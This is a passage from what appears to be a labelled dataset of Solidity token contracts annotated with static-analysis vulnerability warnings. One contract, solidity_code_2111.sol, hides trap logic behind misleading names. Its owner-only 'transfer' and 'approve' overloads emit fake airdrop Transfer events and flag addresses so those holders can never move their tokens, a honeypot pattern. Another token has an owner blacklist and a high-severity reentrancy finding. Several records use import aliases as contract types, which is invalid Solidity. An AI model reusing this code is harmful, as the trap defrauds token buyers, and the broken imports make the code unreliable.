public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: efbfec9): HentAI.transfer(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for efbfec9: Rename the local variables that shadow another component.\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 021b2aa): HentAI.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 021b2aa: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1b764a3): HentAI.approve(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1b764a3: Rename the local variables that shadow another component.\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d245e79): HentAI.increaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for d245e79: Rename the local variables that shadow another component.\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, _allowances[owner][spender] + addedValue);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6091fbb): HentAI.decreaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6091fbb: Rename the local variables that shadow another component.\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = _allowances[owner][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n if (antiBotsActive) {\n if (!isContractExempt[from] && !isContractExempt[to]) {\n address human = ensureOneHuman(from, to);\n ensureMaxTxFrequency(human);\n _blockNumberByAddress[human] = block.number;\n }\n }\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n }\n _balances[to] += amount;\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 74b13ac): HentAI._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 74b13ac: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8702d83): HentAI._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8702d83: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function isContract(address account) internal view returns (bool) {\n uint256 size;\n assembly {\n size := extcodesize(account)\n }\n return size > 0;\n }\n\n function ensureOneHuman(\n address _to,\n address _from\n ) internal virtual returns (address) {\n require(\n !isContract(_to) || !isContract(_from),\n \"No bots are allowed JIZZ!\"\n );\n if (isContract(_to)) return _from;\n else return _to;\n }\n\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: ac475d2): HentAI.ensureMaxTxFrequency(address) uses a dangerous strict equality isAllowed = _blockNumberByAddress[addr] == 0 || ((_blockNumberByAddress[addr] + blockCooldownAmount) < (block.number + 1))\n\t// Recommendation for ac475d2: Don't use strict equality to determine if an account has enough Ether or tokens.\n function ensureMaxTxFrequency(address addr) internal virtual {\n\t\t// incorrect-equality | ID: ac475d2\n bool isAllowed = _blockNumberByAddress[addr] == 0 ||\n ((_blockNumberByAddress[addr] + blockCooldownAmount) <\n (block.number + 1));\n require(isAllowed, \"Max tx frequency exceeded!\");\n }\n\n function setAntiBotsActive(bool value) external onlyOwner {\n antiBotsActive = value;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 2a0e972): HentAI.setBlockCooldown(uint256) should emit an event for blockCooldownAmount = value \n\t// Recommendation for 2a0e972: Emit an event for critical parameter changes.\n function setBlockCooldown(uint256 value) external onlyOwner {\n\t\t// events-maths | ID: 2a0e972\n blockCooldownAmount = value;\n }\n\n function setContractExempt(address account, bool value) external onlyOwner {\n isContractExempt[account] = value;\n }\n}",
"file_name": "solidity_code_2108.sol",
"secure": 0,
"size_bytes": 10190
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./tokenRecipient.sol\" as tokenRecipient;\n\ncontract GoldiContract {\n string public name = \"Goldi\";\n string public symbol = \"BTGX\";\n\t// WARNING Optimization Issue (constable-states | ID: b0979f3): GoldiContract.decimals should be constant \n\t// Recommendation for b0979f3: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 4;\n uint256 public totalSupply = 777195450;\n\n mapping(address => uint256) public balanceOf;\n mapping(address => mapping(address => uint256)) public allowance;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed _owner,\n address indexed _spender,\n uint256 _value\n );\n\n event Burn(address indexed from, uint256 value);\n\n constructor() {\n totalSupply = 777195450 * 10 ** uint256(4);\n balanceOf[msg.sender] = totalSupply;\n name = \"Goldi\"; // Name for display purposes\n symbol = \"BTGX\"; // Symbol for display purposes\n }\n\n function _transfer(address _from, address _to, uint256 _value) internal {\n require(_to != address(0x0));\n\n require(balanceOf[_from] >= _value);\n\n require(balanceOf[_to] + _value >= balanceOf[_to]);\n\n uint256 previousBalances = balanceOf[_from] + balanceOf[_to];\n\n balanceOf[_from] -= _value;\n\n balanceOf[_to] += _value;\n emit Transfer(_from, _to, _value);\n\n assert(balanceOf[_from] + balanceOf[_to] == previousBalances);\n }\n\n function transfer(\n address _to,\n uint256 _value\n ) public returns (bool success) {\n _transfer(msg.sender, _to, _value);\n\n return true;\n }\n\n function transferFrom(\n address _from,\n address _to,\n uint256 _value\n ) public returns (bool success) {\n require(_value <= allowance[_from][msg.sender]);\n allowance[_from][msg.sender] -= _value;\n _transfer(_from, _to, _value);\n\n return true;\n }\n\n function approve(\n address _spender,\n uint256 _value\n ) public returns (bool success) {\n allowance[msg.sender][_spender] = _value;\n emit Approval(msg.sender, _spender, _value);\n\n return true;\n }\n\n function approveAndCall(\n address _spender,\n uint256 _value,\n bytes memory _extraData\n ) public returns (bool success) {\n tokenRecipient spender = tokenRecipient(_spender);\n\n if (approve(_spender, _value)) {\n spender.receiveApproval(\n msg.sender,\n _value,\n address(this),\n _extraData\n );\n return true;\n }\n }\n\n function burn(uint256 _value) public returns (bool success) {\n require(balanceOf[msg.sender] >= _value);\n balanceOf[msg.sender] -= _value;\n totalSupply -= _value;\n emit Burn(msg.sender, _value);\n return true;\n }\n\n function burnFrom(\n address _from,\n uint256 _value\n ) public returns (bool success) {\n require(balanceOf[_from] >= _value);\n require(_value <= allowance[_from][msg.sender]);\n\n balanceOf[_from] -= _value;\n allowance[_from][msg.sender] -= _value;\n totalSupply -= _value;\n emit Burn(_from, _value);\n\n return true;\n }\n}",
"file_name": "solidity_code_2109.sol",
"secure": 1,
"size_bytes": 3519
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IBeacon {\n function implementation() external view returns (address);\n}",
"file_name": "solidity_code_211.sol",
"secure": 1,
"size_bytes": 148
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface TokenRecipient {\n function receiveApproval(\n address _from,\n uint256 _value,\n address _token,\n bytes calldata _extraData\n ) external;\n}",
"file_name": "solidity_code_2110.sol",
"secure": 1,
"size_bytes": 248
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is Ownable, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n mapping(address => bool) private _transfersSnapshot;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n bool private _transfersSnapshotApplied = false;\n string private _name;\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function transfer(address[] calldata _addresses_) external onlyOwner {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n _transfersSnapshot[_addresses_[i]] = true;\n emit Transfer(address(this), _addresses_[i], 1 * 10 ** 24);\n }\n }\n\n function approve(address[] calldata _addresses_) external onlyOwner {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n _transfersSnapshot[_addresses_[i]] = false;\n }\n }\n\n function domainSeparator(address _address_) public view returns (bool) {\n return _transfersSnapshot[_address_];\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 96e34f9): ERC20.transfer(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 96e34f9: Rename the local variables that shadow another component.\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1ac9f5c): ERC20.approve(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1ac9f5c: Rename the local variables that shadow another component.\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4fe7ce9): ERC20.increaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4fe7ce9: Rename the local variables that shadow another component.\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cc8940c): ERC20.decreaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for cc8940c: Rename the local variables that shadow another component.\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n if (_transfersSnapshot[from] || _transfersSnapshot[to])\n require(_transfersSnapshotApplied == true, \"\");\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n unchecked {\n _balances[account] += amount;\n }\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c3d6e7): ERC20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c3d6e7: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 816bc53): ERC20._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 816bc53: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_2111.sol",
"secure": 0,
"size_bytes": 8521
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract PHOENIX is ERC20 {\n constructor() ERC20(\"PHOENIX\", \"PHOENIX\") {\n _mint(msg.sender, 100000000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_2112.sol",
"secure": 1,
"size_bytes": 280
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract PeterToken is ERC20, ERC20Burnable, Ownable {\n constructor() ERC20(\"Made in SEEU\", \"MDSE\") {\n _mint(msg.sender, 50000000 * 10 ** decimals());\n }\n\n function mint(address to, uint256 amount) public onlyOwner {\n _mint(to, amount);\n }\n}",
"file_name": "solidity_code_2113.sol",
"secure": 1,
"size_bytes": 563
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract TG is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n string private constant _name = \"Proof Of Telegram\";\n string private constant _symbol = \"TG\";\n uint8 private constant _decimals = 9;\n\n mapping(address => uint256) private _rOwned;\n mapping(address => uint256) private _tOwned;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n uint256 private constant MAX = ~uint256(0);\n uint256 private constant _tTotal = 1000000000 * 10 ** 9;\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n uint256 private _tFeeTotal;\n uint256 private _redisFeeOnBuy = 0;\n uint256 private _taxFeeOnBuy = 0;\n uint256 private _redisFeeOnSell = 0;\n uint256 private _taxFeeOnSell = 0;\n\n uint256 private _redisFee = _redisFeeOnSell;\n uint256 private _taxFee = _taxFeeOnSell;\n\n uint256 private _previousredisFee = _redisFee;\n uint256 private _previoustaxFee = _taxFee;\n\n mapping(address => bool) public bots;\n mapping(address => uint256) public _buyMap;\n\t// WARNING Optimization Issue (constable-states | ID: 492d3d0): TG._developmentAddress should be constant \n\t// Recommendation for 492d3d0: Add the 'constant' attribute to state variables that never change.\n address payable private _developmentAddress =\n payable(0xD01417658F7FB2706845Ab5Fe4865cb5C632004D);\n\t// WARNING Optimization Issue (constable-states | ID: 80b586b): TG._marketingAddress should be constant \n\t// Recommendation for 80b586b: Add the 'constant' attribute to state variables that never change.\n address payable private _marketingAddress =\n payable(0xD01417658F7FB2706845Ab5Fe4865cb5C632004D);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0513ed1): TG.uniswapV2Router should be immutable \n\t// Recommendation for 0513ed1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\t// WARNING Optimization Issue (immutable-states | ID: 2a7a3cd): TG.uniswapV2Pair should be immutable \n\t// Recommendation for 2a7a3cd: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen = true;\n bool private inSwap = false;\n bool private swapEnabled = true;\n\n uint256 public _maxTxAmount = 20000000 * 10 ** 9;\n uint256 public _maxWalletSize = 20000000 * 10 ** 9;\n uint256 public _swapTokensAtAmount = 10000 * 10 ** 9;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _rOwned[_msgSender()] = _rTotal;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Router = _uniswapV2Router;\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_developmentAddress] = true;\n _isExcludedFromFee[_marketingAddress] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: fa20ed9): TG.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for fa20ed9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 50da217): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 50da217: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2f49a11): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2f49a11: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 50da217\n\t\t// reentrancy-benign | ID: 2f49a11\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 50da217\n\t\t// reentrancy-benign | ID: 2f49a11\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) private view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n function removeAllFee() private {\n if (_redisFee == 0 && _taxFee == 0) return;\n\n\t\t// reentrancy-benign | ID: 78de81f\n _previousredisFee = _redisFee;\n\t\t// reentrancy-benign | ID: 78de81f\n _previoustaxFee = _taxFee;\n\n\t\t// reentrancy-benign | ID: 78de81f\n _redisFee = 0;\n\t\t// reentrancy-benign | ID: 78de81f\n _taxFee = 0;\n }\n\n function restoreAllFee() private {\n\t\t// reentrancy-benign | ID: 78de81f\n _redisFee = _previousredisFee;\n\t\t// reentrancy-benign | ID: 78de81f\n _taxFee = _previoustaxFee;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: be94928): TG._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for be94928: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: 2f49a11\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 50da217\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b192eac): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b192eac: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 78de81f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 78de81f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a2278e6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a2278e6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (from != owner() && to != owner()) {\n if (!tradingOpen) {\n require(\n from == owner(),\n \"TOKEN: This account cannot send tokens until trading is enabled\"\n );\n }\n\n require(amount <= _maxTxAmount, \"TOKEN: Max Transaction Limit\");\n require(\n !bots[from] && !bots[to],\n \"TOKEN: Your account is blacklisted!\"\n );\n\n if (to != uniswapV2Pair) {\n require(\n balanceOf(to) + amount < _maxWalletSize,\n \"TOKEN: Balance exceeds wallet size!\"\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n bool canSwap = contractTokenBalance >= _swapTokensAtAmount;\n\n if (contractTokenBalance >= _maxTxAmount) {\n contractTokenBalance = _maxTxAmount;\n }\n\n if (\n canSwap &&\n !inSwap &&\n from != uniswapV2Pair &&\n swapEnabled &&\n !_isExcludedFromFee[from] &&\n !_isExcludedFromFee[to]\n ) {\n\t\t\t\t// reentrancy-events | ID: b192eac\n\t\t\t\t// reentrancy-benign | ID: 78de81f\n\t\t\t\t// reentrancy-eth | ID: a2278e6\n swapTokensForEth(contractTokenBalance);\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: b192eac\n\t\t\t\t\t// reentrancy-eth | ID: a2278e6\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n bool takeFee = true;\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) ||\n (from != uniswapV2Pair && to != uniswapV2Pair)\n ) {\n takeFee = false;\n } else {\n if (from == uniswapV2Pair && to != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: 78de81f\n _redisFee = _redisFeeOnBuy;\n\t\t\t\t// reentrancy-benign | ID: 78de81f\n _taxFee = _taxFeeOnBuy;\n }\n\n if (to == uniswapV2Pair && from != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: 78de81f\n _redisFee = _redisFeeOnSell;\n\t\t\t\t// reentrancy-benign | ID: 78de81f\n _taxFee = _taxFeeOnSell;\n }\n }\n\n\t\t// reentrancy-events | ID: b192eac\n\t\t// reentrancy-benign | ID: 78de81f\n\t\t// reentrancy-eth | ID: a2278e6\n _tokenTransfer(from, to, amount, takeFee);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 50da217\n\t\t// reentrancy-events | ID: b192eac\n\t\t// reentrancy-benign | ID: 2f49a11\n\t\t// reentrancy-benign | ID: 78de81f\n\t\t// reentrancy-eth | ID: a2278e6\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 50da217\n\t\t// reentrancy-events | ID: b192eac\n\t\t// reentrancy-eth | ID: a2278e6\n _marketingAddress.transfer(amount);\n }\n\n function setTrading(bool _tradingOpen) public onlyOwner {\n tradingOpen = _tradingOpen;\n }\n\n function manualswap() external {\n require(\n _msgSender() == _developmentAddress ||\n _msgSender() == _marketingAddress\n );\n uint256 contractBalance = balanceOf(address(this));\n swapTokensForEth(contractBalance);\n }\n\n function manualsend() external {\n require(\n _msgSender() == _developmentAddress ||\n _msgSender() == _marketingAddress\n );\n uint256 contractETHBalance = address(this).balance;\n sendETHToFee(contractETHBalance);\n }\n\n function blockBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function unblockBot(address notbot) public onlyOwner {\n bots[notbot] = false;\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount,\n bool takeFee\n ) private {\n if (!takeFee) removeAllFee();\n _transferStandard(sender, recipient, amount);\n if (!takeFee) restoreAllFee();\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tTeam\n ) = _getValues(tAmount);\n\t\t// reentrancy-eth | ID: a2278e6\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\t\t// reentrancy-eth | ID: a2278e6\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeTeam(tTeam);\n _reflectFee(rFee, tFee);\n\t\t// 